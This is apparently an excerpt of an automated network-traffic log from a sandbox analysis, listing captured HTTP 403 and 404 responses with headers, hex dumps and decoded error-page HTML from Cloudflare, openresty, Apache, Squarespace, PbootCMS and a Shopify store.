72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>openresty</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 25 Oct 2024 09:19:04 GMTContent-Type: text/html; charset=UTF-8Content-Length: 4514Connection: keep-aliveX-Frame-Options: SAMEORIGINReferrer-Policy: same-originCache-Control: max-age=15Expires: Fri, 25 Oct 2024 09:19:19 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GEMYDD41MFTX7HCKcdClykRp6lSlnqYp5Sz8GUOoJ9z3MxFhrJq8s%2FWLS7cWHdiQNwjlUo%2BvkBnMW0jTenC%2BAKWcisnL62ln6urdkOzAX25gwp0ePchMjjp5oXHNBJ5l"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d811f765aec45ef-DFWData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 74 74 65 6e 74 69 6f 6e 20 52 65 71 75 69 72 65 64 21 20 7c 20 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 Data Ascii: <!DOCTYPE html><!--[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]--><!--[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]--><!--[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]--><!--[if gt IE 8]><!--> <html class="no-js" lang="en-US"> <!--<![endif]--><head><title>Attention Required! \| Cloudflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex,
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenCache-Control: no-cache, must-revalidateContent-Length: 2059Content-Type: text/html; charset=UTF-8Date: Fri, 25 Oct 2024 09:19:05 UTCExpires: Thu, 01 Jan 1970 00:00:00 UTCPragma: no-cacheServer: SquarespaceX-Contextid: D5XXhJEO/Qe6cQeaJData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 77 68 69 74 65 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 74 6f 70 3a 20 35 30 25 3b 0a 20 20 20 20 6c 65 66 74 3a 20 35 30 25 3b 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 28 2d 35 30 25 2c 20 2d 35 30 25 29 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 6d 69 6e 2d 77 69 64 74 68 3a 20 39 35 76 77 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 68 31 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 34 2e 36 65 6d 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 31 39 31 39 31 39 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 31 31 70 78 20 30 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 70 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e 34 65 6d 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 61 33 61 33 61 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 32 65 6d 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 70 20 61 20 7b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 61 33 61 33 61 3b 0a 20 20 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 73 6f 6c 69 64 20 31 70 78 20 23 33 61 33 61 33 61 3b 0a 20 20 7d 0a 0a 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 20 20 7d 0a 0a 20 20 23 73 74 61 74 75 73 2d 70 61 67 65 20 7b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 20 20 7d 0a 0a 20 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 62 6f 74 74 6f 6d 3a 20 32 32 70 78 3b 0a 20 20 20 20 6c 65 66 74 3a 20 30 3b 0a 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: openrestyDate: Fri, 25 Oct 2024 09:19:05 GMTContent-Type: text/htmlContent-Length: 552Connection: keep-aliveVary: Accept-EncodingData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>openresty</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 25 Oct 2024 09:19:06 GMTServer: Apache/2Content-Length: 199Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Date: Fri, 25 Oct 2024 09:19:06 GMTHost: 127.0.0.1:8086Server: nginx/1.21.6X-Powered-By: PbootCMSX-Ua-Compatible: IE=edge,chrome=1Transfer-Encoding: chunked
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 25 Oct 2024 09:19:06 GMTServer: Apache/2Content-Length: 199Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenCache-Control: no-cache, must-revalidateContent-Length: 2059Content-Type: text/html; charset=UTF-8Date: Fri, 25 Oct 2024 09:19:07 UTCExpires: Thu, 01 Jan 1970 00:00:00 UTCPragma: no-cacheServer: SquarespaceX-Contextid: RMbb3xND/yFXrSxRLData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 77 68 69 74 65 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 74 6f 70 3a 20 35 30 25 3b 0a 20 20 20 20 6c 65 66 74 3a 20 35 30 25 3b 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 28 2d 35 30 25 2c 20 2d 35 30 25 29 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 6d 69 6e 2d 77 69 64 74 68 3a 20 39 35 76 77 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 68 31 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 34 2e 36 65 6d 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 31 39 31 39 31 39 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 31 31 70 78 20 30 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 70 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e 34 65 6d 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 61 33 61 33 61 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 32 65 6d 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 70 20 61 20 7b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 61 33 61 33 61 3b 0a 20 20 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 73 6f 6c 69 64 20 31 70 78 20 23 33 61 33 61 33 61 3b 0a 20 20 7d 0a 0a 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 20 20 7d 0a 0a 20 20 23 73 74 61 74 75 73 2d 70 61 67 65 20 7b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 20 20 7d 0a 0a 20 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 62 6f 74 74 6f 6d 3a 20 32 32 70 78 3b 0a 20 20 20 20 6c 65 66 74 3a 20 30 3b 0a 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 25 Oct 2024 09:19:07 GMTServer: Apache/2Content-Length: 199Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 25 Oct 2024 09:19:07 GMTServer: Apache/2Content-Length: 199Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Date: Fri, 25 Oct 2024 09:19:07 GMTHost: 127.0.0.1:8086Server: nginx/1.21.6X-Powered-By: PbootCMSX-Ua-Compatible: IE=edge,chrome=1Transfer-Encoding: chunked
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 25 Oct 2024 09:19:08 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-alivex-sorting-hat-podid: 376x-sorting-hat-shopid: 61843439788x-storefront-renderer-rendered: 1vary: Accept-Encoding,Acceptset-cookie: keep_alive=2b83a791-0b6b-446a-a069-9575a91da458; path=/; expires=Fri, 25 Oct 2024 09:49:08 GMT; HttpOnly; SameSite=Laxset-cookie: cart_currency=GBP; path=/; expires=Fri, 08 Nov 2024 09:19:08 GMT; SameSite=Laxset-cookie: _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22sale_of_data_region%22%3Afalse%7D; domain=snugpak.com; path=/; expires=Sat, 26 Oct 2024 09:19:08 GMT; SameSite=Laxset-cookie: _shopify_y=a33c6b7a-413d-41cc-a563-ce4e4082ffc1; Expires=Sat, 25-Oct-25 09:19:08 GMT; Domain=snugpak.com; Path=/; SameSite=Laxset-cookie: _shopify_s=7e0a4254-7ab9-40f4-96c3-3d1f07e881a9; Expires=Fri, 25-Oct-24 09:49:08 GMT; Domain=snugpak.com; Path=/; SameSite=Laxcache-control: no-cache, no-storex-shopify-nginx-no-cookies: 0link: <https://cdn.shopify.com>; rel="preconnect", <https://cdn.shopify.com>; rel="preconnect"; crossorigin, <https://cdn.sData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 25 Oct 2024 09:19:08 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-alivex-sorting-hat-podid: 376x-sorting-hat-shopid: 61843439788x-storefront-renderer-rendered: 1vary: Accept-Encoding,Acceptset-cookie: keep_alive=2b83a791-0b6b-446a-a069-9575a91da458; path=/; expires=Fri, 25 Oct 2024 09:49:08 GMT; HttpOnly; SameSite=Laxset-cookie: cart_currency=GBP; path=/; expires=Fri, 08 Nov 2024 09:19:08 GMT; SameSite=Laxset-cookie: _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22sale_of_data_region%22%3Afalse%7D; domain=snugpak.com; path=/; expires=Sat, 26 Oct 2024 09:19:08 GMT; SameSite=Laxset-cookie: _shopify_y=a33c6b7a-413d-41cc-a563-ce4e4082ffc1; Expires=Sat, 25-Oct-25 09:19:08 GMT; Domain=snugpak.com; Path=/; SameSite=Laxset-cookie: _shopify_s=7e0a4254-7ab9-40f4-96c3-3d1f07e881a9; Expires=Fri, 25-Oct-24 09:49:08 GMT; Domain=snugpak.com; Path=/; SameSite=Laxcache-control: no-cache, no-storex-shopify-nginx-no-cookies: 0link: <https://cdn.shopify.com>; rel="preconnect", <https://cdn.shopify.com>; rel="preconnect"; crossorigin, <https://cdn.sData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 25 Oct 2024 09:19:09 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-alivex-sorting-hat-podid: 376x-sorting-hat-shopid: 61843439788x-storefront-renderer-rendered: 1vary: Accept-Encoding,Acceptset-cookie: keep_alive=25a9dbb3-8522-487a-856d-e3e223f278dc; path=/; expires=Fri, 25 Oct 2024 09:49:09 GMT; HttpOnly; SameSite=Laxset-cookie: cart_currency=GBP; path=/; expires=Fri, 08 Nov 2024 09:19:09 GMT; SameSite=Laxset-cookie: _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22sale_of_data_region%22%3Afalse%7D; domain=snugpak.com; path=/; expires=Sat, 26 Oct 2024 09:19:09 GMT; SameSite=Laxset-cookie: _shopify_y=a33c6b7a-413d-41cc-a563-ce4e4082ffc1; Expires=Sat, 25-Oct-25 09:19:09 GMT; Domain=snugpak.com; Path=/; SameSite=Laxset-cookie: _shopify_s=7e0a4254-7ab9-40f4-96c3-3d1f07e881a9; Expires=Fri, 25-Oct-24 09:49:09 GMT; Domain=snugpak.com; Path=/; SameSite=Laxcache-control: no-cache, no-storex-shopify-nginx-no-cookies: 0link: <https://cdn.shopify.com>; rel="preconnect", <https://cdn.shopify.com>; rel="preconnect"; crossorigin, <https://cdn.sData Raw: Data Ascii:
